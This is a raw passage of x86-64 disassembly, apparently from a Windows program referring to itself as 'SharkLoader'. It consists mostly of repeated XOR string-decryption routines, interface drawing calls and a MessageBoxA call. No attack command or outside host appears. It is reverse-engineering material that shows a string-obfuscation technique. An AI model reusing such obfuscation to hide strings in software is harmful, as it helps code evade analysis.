lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r8d
lea r9, [rbp + 0x360]
movss xmm2, dword [0x140115ff0]
mov rdx, rdi
mov rcx, r10
call fcn.14002cd40
movaps xmm0, xmm12
subss xmm0, dword [0x140116054]
mov rcx, qword [0x14016c730]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm2, dword [rax + 0x2c]
subss xmm2, dword [rax + 0x90]
addss xmm2, xmm0
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
movaps xmm0, xmm9
mulss xmm0, xmm13
movss xmm7, dword [0x140116030]
subss xmm0, xmm7
addss xmm1, xmm0
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm2
mov byte [rax + 0x151], 1
or dword [rcx + 0x4990], 1
mov dword [rcx + 0x49a0], 0x437a0000
movsd xmm0, qword [0x140115a28]
movsd qword [rbp + 0x250], xmm0
mov eax, dword [0x140115a30]
mov dword [rbp + 0x258], eax
movzx eax, word [0x140115a34]
mov word [rbp + 0x25c], ax
cmp byte [0x140115a35], 0
je 0x140048313
mov r8d, esi
cmp r15d, 2
jl 0x1400482cf
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140115a28]
xorps xmm2, xmm0
movd dword [rbp + 0x250], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x254]
xorps xmm2, xmm1
movd dword [rbp + 0x254], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x250]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400482e0
mov qword [rbp + 0x358], 0
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
lea rax, [rbp + 0x358]
mov qword [rsp + 0x20], rax
mov r9d, 0xff
lea r13, [0x14016c740]
mov r8, r13
xor edx, edx
lea rcx, [rbp + 0x250]
call fcn.140033e20
movaps xmm0, xmm12
subss xmm0, dword [0x140116044]
mov rcx, qword [0x14016c730]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm2, dword [rax + 0x2c]
subss xmm2, dword [rax + 0x90]
addss xmm2, xmm0
movaps xmm1, xmm9
mulss xmm1, xmm13
subss xmm1, xmm7
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm1, xmm0
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm2
mov byte [rax + 0x151], 1
or dword [rcx + 0x4990], 1
mov dword [rcx + 0x49a0], 0x437a0000
movsd xmm0, qword [0x1401152c0]
movsd qword [rbp + 0x260], xmm0
mov eax, dword [0x1401152c8]
mov dword [rbp + 0x268], eax
movzx eax, word [0x1401152cc]
mov word [rbp + 0x26c], ax
cmp byte [0x1401152cd], 0
je 0x140048573
mov r8d, esi
cmp r15d, 2
jl 0x140048529
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401152c0]
xorps xmm2, xmm0
movd dword [rbp + 0x260], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x264]
xorps xmm2, xmm1
movd dword [rbp + 0x264], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x260]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140048540
mov qword [rbp + 0x350], 0
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000
lea rax, [rbp + 0x350]
mov qword [rsp + 0x20], rax
mov r9d, 0xff
lea r12, [0x14016c940]
mov r8, r12
xor edx, edx
lea rcx, [rbp + 0x260]
call fcn.140033e20
movaps xmm0, xmm12
subss xmm0, dword [0x140116034]
mov rcx, qword [0x14016c730]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm2, dword [rax + 0x2c]
subss xmm2, dword [rax + 0x90]
addss xmm2, xmm0
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
movaps xmm0, xmm9
mulss xmm0, xmm13
subss xmm0, xmm7
addss xmm1, xmm0
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm2
mov byte [rax + 0x151], 1
or dword [rcx + 0x4990], 1
mov dword [rcx + 0x49a0], 0x437a0000
movups xmm0, xmmword [0x140115eb0]
movups xmmword [rbp + 0x4b0], xmm0
movzx eax, byte [0x140115ec0]
mov byte [rbp + 0x4c0], al
mov r8d, esi
cmp r15d, 2
jl 0x14004879f
movdqa xmm5, xmmword [0x140116110]
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x4b4]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140048692
cmp r8d, 0x11
jge 0x1400487e3
movsxd rax, r8d
lea r10, [rbp + 0x4b0]
add r10, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r10], al
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0x11
jl 0x1400487b0
mov qword [rbp + 0x3e0], 0
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
lea rax, [rbp + 0x3e0]
mov qword [rsp + 0x20], rax
mov r9d, 0xff
lea rbx, [0x14016c840]
mov r8, rbx
xor edx, edx
lea rcx, [rbp + 0x4b0]
call fcn.140033e20
subss xmm12, dword [0x14011601c]
mov rcx, qword [0x14016c730]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
addss xmm1, xmm12
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
mulss xmm9, xmm13
subss xmm9, xmm7
addss xmm0, xmm9
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
mov dword [rbp + 0x3f0], 0x437a0000
mov dword [rbp + 0x3f4], 0x42340000
movsd xmm0, qword [str.jroim_]
movsd qword [rbp + 0xa0], xmm0
movzx eax, byte [0x1401151c0]
mov byte [rbp + 0xa0], 0x52
xor byte [rbp + 0xa1], 0x39
xor byte [rbp + 0xa2], 0x3a
xor byte [rbp + 0xa3], 0x3b
xor byte [rbp + 0xa4], 0x3c
xor byte [rbp + 0xa5], 0x3d
xor byte [rbp + 0xa6], 0x3e
xor byte [rbp + 0xa7], 0x3f
xor al, 0x40
mov byte [rbp + 0xa8], al
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0xa0]
call fcn.140030570
test al, al
je 0x14004aebf
lea rax, [rbp + 0x8f8]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x8f8], xmm0
mov qword [rbp + 0x908], rsi
mov qword [rbp + 0x910], rsi
xor r8d, r8d
lea rdx, [0x1400d4a4f]
lea rcx, [rbp + 0x8f8]
call fcn.14004f2f0
nop
lea rax, [rbp + 0x738]
mov qword [rbp + 0xf0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x738], xmm0
mov qword [rbp + 0x748], rsi
mov qword [rbp + 0x750], rsi
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140048980
mov rdx, rbx
lea rcx, [rbp + 0x738]
call fcn.14004f2f0
nop
lea rax, [rbp + 0x798]
mov qword [rbp - 8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x798], xmm0
mov qword [rbp + 0x7a8], rsi
mov qword [rbp + 0x7b0], rsi
mov r8, r14
inc r8
cmp byte [r12 + r8], 0
jne 0x1400489c0
mov rdx, r12
lea rcx, [rbp + 0x798]
call fcn.14004f2f0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x778], xmm0
mov qword [rbp + 0x788], rsi
mov qword [rbp + 0x790], rsi
inc r14
cmp byte [r14 + r13], 0
jne 0x1400489f2
mov r8, r14
mov rdx, r13
lea rcx, [rbp + 0x778]
call fcn.14004f2f0
nop
lea rax, [rbp + 0x8f8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x738]
lea r8, [rbp + 0x798]
lea rdx, [rbp + 0x778]
lea rcx, [0x14016cae0]
call fcn.14006caa0
cmp byte [0x14016ccf0], 0
jne 0x140048a9d
mov eax, dword [0x1401154fc]
mov dword [rbp + 0x18], eax
movzx eax, word [0x140115500]
mov word [rbp + 0x1c], ax
mov byte [rbp + 0x18], 0x45
xor byte [rbp + 0x19], 0x39
xor byte [rbp + 0x1a], 0x3a
xor byte [rbp + 0x1b], 0x3b
xor al, 0x3c
mov byte [rbp + 0x1c], al
xor byte [rbp + 0x1d], 0x3d
lea rdx, [0x14016ccf8]
cmp qword [0x14016cd10], 0xf
cmova rdx, qword [0x14016ccf8]
xor r9d, r9d
lea r8, [rbp + 0x18]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14004aeb5
mov dword [0x14016c738], esi
jmp 0x14004aebf
mov r8d, dword [0x140129148]
lea rdx, reloc.WS2_32.dll_accept
mov rcx, qword [str.SharkLoader]
call fcn.14000e590
mov rbx, qword [0x14016c730]
mov rax, qword [rbx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rbx + 0x4000]
mov rdi, qword [rax + 0x2a8]
mov qword [rsp + 0x60], rdi
movss xmm0, dword [rax + 0x28]
movss dword [rbp + 0x110], xmm0
movss xmm0, dword [rax + 0x2c]
movss dword [rbp + 0xf8], xmm0
movss xmm15, dword [rax + 0x30]
movss xmm0, dword [rax + 0x34]
movss dword [rbp + 0xf0], xmm0
mov eax, dword [str.kqiw]
mov dword [rbp + 0x20], eax
movzx eax, word [0x140115180]
mov word [rbp + 0x24], ax
mov byte [rbp + 0x20], 0x53
xor byte [rbp + 0x21], 0x39
xor byte [rbp + 0x22], 0x3a
xor byte [rbp + 0x23], 0x3b
xor al, 0x3c
mov byte [rbp + 0x24], al
xor byte [rbp + 0x25], 0x3d
mov qword [rsp + 0x30], rsi
lea rax, [rbp + 0x20]
mov qword [rsp + 0x28], rax
movss xmm7, dword [0x140116094]
movss dword [rsp + 0x20], xmm7
movss xmm8, dword [0x140116084]
movaps xmm3, xmm8
movss xmm12, dword [0x140116000]
movaps xmm2, xmm12
lea rdx, [rbp - 8]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002cb20
movss xmm0, dword [rbp - 8]
movss xmm9, dword [0x140115f94]
addss xmm0, xmm9
cvttss2si eax, xmm0
movd xmm14, eax
cvtdq2ps xmm14, xmm14
movsd xmm0, qword [0x140115270]
movsd qword [rbp + 0xe0], xmm0
movzx eax, byte [0x140115278]
mov byte [rbp + 0xe0], 0x45
xor byte [rbp + 0xe1], 0x39
xor byte [rbp + 0xe2], 0x3a
xor byte [rbp + 0xe3], 0x3b
xor byte [rbp + 0xe4], 0x3c
xor byte [rbp + 0xe5], 0x3d
xor byte [rbp + 0xe6], 0x3e
xor byte [rbp + 0xe7], 0x3f
xor al, 0x40
mov byte [rbp + 0xe8], al
mov qword [rsp + 0x30], rsi
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm8
movaps xmm2, xmm12
lea rdx, [rbp - 8]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002cb20
movss xmm0, dword [rbp - 8]
addss xmm0, xmm9
cvttss2si eax, xmm0
movd xmm13, eax
cvtdq2ps xmm13, xmm13
movups xmm1, xmmword [0x140115160]
movups xmmword [rbp + 0x5f8], xmm1
movsd xmm0, qword [0x140115170]
movsd qword [rbp + 0x608], xmm0
movzx eax, word [0x140115178]
mov word [rbp + 0x610], ax
cmp byte [0x140115179], 0
je 0x140048e13
mov r8d, esi
cmp r15d, 2
jl 0x140048dcd
movdqa xmm5, xmmword [0x140116110]
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x5fc]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140048cc0
cmp r8d, 0x1a
jge 0x140048e13
movsxd rax, r8d
lea r9, [rbp + 0x5f8]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140048de0
mov qword [rsp + 0x30], rsi
lea rax, [rbp + 0x5f8]
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm8
movss xmm2, dword [0x140115fe8]
lea rdx, [rbp - 8]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002cb20
movss xmm0, dword [rbp - 8]
addss xmm0, xmm9
cvttss2si eax, xmm0
movd xmm11, eax
cvtdq2ps xmm11, xmm11
movsd xmm0, qword [str.yLNSYSJV_6F]
movsd qword [rbp + 0x180], xmm0
mov eax, dword [0x140115190]
mov dword [rbp + 0x188], eax
movzx eax, word [0x140115194]
mov word [rbp + 0x18c], ax
movzx eax, byte [0x140115196]
mov byte [rbp + 0x18e], al
mov r8d, esi
cmp r15d, 2
jl 0x140048fb1
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.yLNSYSJV_6F]
xorps xmm2, xmm0
movd dword [rbp + 0x180], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x184]
xorps xmm2, xmm1
movd dword [rbp + 0x184], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x180]
add r9, rax
nop
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140048fc0
mov qword [rsp + 0x30], rsi
lea rax, [rbp + 0x180]
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm8
movss xmm2, dword [0x140115ff0]
lea rdx, [rbp - 8]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002cb20
movss xmm0, dword [rbp - 8]
addss xmm0, xmm9
cvttss2si eax, xmm0
movd xmm10, eax
cvtdq2ps xmm10, xmm10
movups xmm1, xmmword [0x140115a00]
movups xmmword [rbp + 0x718], xmm1
movsd xmm0, qword [0x140115a10]
movsd qword [rbp + 0x728], xmm0
cmp byte [reloc.WLDAP32.dll_Ordinal_79], 0
je 0x140049203
cmp r15d, 2
jl 0x1400491b7
movdqa xmm5, xmmword [0x140116110]
mov edx, esi
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x71c]
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x1400490b0
jmp 0x140049203
lea r9, [rbp + 0x718]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x1400491d0
mov qword [rsp + 0x30], rsi
lea rax, [rbp + 0x718]
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm8
movss xmm2, dword [0x140115fe8]
lea rdx, [rbp - 8]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002cb20
movss xmm0, dword [rbp - 8]
addss xmm0, xmm9
cvttss2si eax, xmm0
movd xmm6, eax
cvtdq2ps xmm6, xmm6
movsd xmm0, qword [str.j_ROI_M_]
movsd qword [rbp + 0x78], xmm0
movzx eax, byte [0x140115a78]
mov byte [rbp + 0x78], 0x52
xor byte [rbp + 0x79], 0x39
xor byte [rbp + 0x7a], 0x3a
xor byte [rbp + 0x7b], 0x3b
xor byte [rbp + 0x7c], 0x3c
xor byte [rbp + 0x7d], 0x3d
xor byte [rbp + 0x7e], 0x3e
xor byte [rbp + 0x7f], 0x3f
xor al, 0x40
mov byte [rbp + 0x80], al
mov qword [rsp + 0x30], rsi
lea rax, [rbp + 0x78]
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm8
movss xmm2, dword [0x140115fe8]
lea rdx, [rbp - 8]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002cb20
movss xmm0, dword [rbp - 8]
addss xmm0, xmm9
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp - 8], xmm1
movaps xmm1, xmm13
addss xmm1, xmm14
movss xmm14, dword [rbp - 8]
movaps xmm0, xmm14
addss xmm0, xmm6
movaps xmm2, xmm15
movss xmm9, dword [0x140115f64]
mulss xmm2, xmm9
addss xmm2, dword [rbp + 0x110]
mulss xmm1, xmm9
movaps xmm6, xmm2
subss xmm6, xmm1
addss xmm13, xmm6
subss xmm13, dword [0x140116010]
mulss xmm11, xmm9
movaps xmm8, xmm2
subss xmm8, xmm11
mulss xmm10, xmm9
movaps xmm11, xmm2
subss xmm11, xmm10
mulss xmm0, xmm9
subss xmm2, xmm0
movss dword [rbp - 8], xmm2
mulss xmm14, dword [0x140115fb8]
addss xmm14, xmm2
mov eax, dword [str.kqiw]
mov dword [rsp + 0x78], eax
movzx eax, word [0x140115180]
mov word [rsp + 0x7c], ax
mov byte [rsp + 0x78], 0x53
xor byte [rsp + 0x79], 0x39
xor byte [rsp + 0x7a], 0x3a
xor byte [rsp + 0x7b], 0x3b
xor al, 0x3c
mov byte [rsp + 0x7c], al
xor byte [rsp + 0x7d], 0x3d
movaps xmm0, xmmword [0x1401162b0]
movups xmmword [rbp + 0xa88], xmm0
lea rcx, [rbp + 0xa88]
call fcn.1400047d0
mov r8d, eax
movss xmm7, dword [rbp + 0xf8]
addss xmm7, dword [0x140116008]
movss dword [rbp + 0x3e8], xmm6
movss dword [rbp + 0x3ec], xmm7
mov r10, qword [0x14016ca40]
test eax, 0xff000000
je 0x140049468
lea rcx, [rsp + 0x78]
mov rax, r14
inc rax
cmp byte [rcx + rax], 0
jne 0x1400493e0
lea rcx, [rsp + 0x78]
add rcx, rax
lea rax, [rsp + 0x78]
cmp rax, rcx
je 0x140049468
test r10, r10
jne 0x140049408
mov rax, qword [rdi + 0x38]
mov r10, qword [rax + 8]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x48], 0
xorps xmm10, xmm10
movss dword [rsp + 0x40], xmm10
mov qword [rsp + 0x38], rcx
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r8d
lea r9, [rbp + 0x3e8]
movaps xmm2, xmm12
mov rdx, rdi
mov rcx, r10
call fcn.14002cd40
mov r10, qword [0x14016ca40]
mov rbx, qword [0x14016c730]
jmp 0x14004946c
xorps xmm10, xmm10
movsd xmm0, qword [0x140115270]
movzx eax, byte [0x140115278]
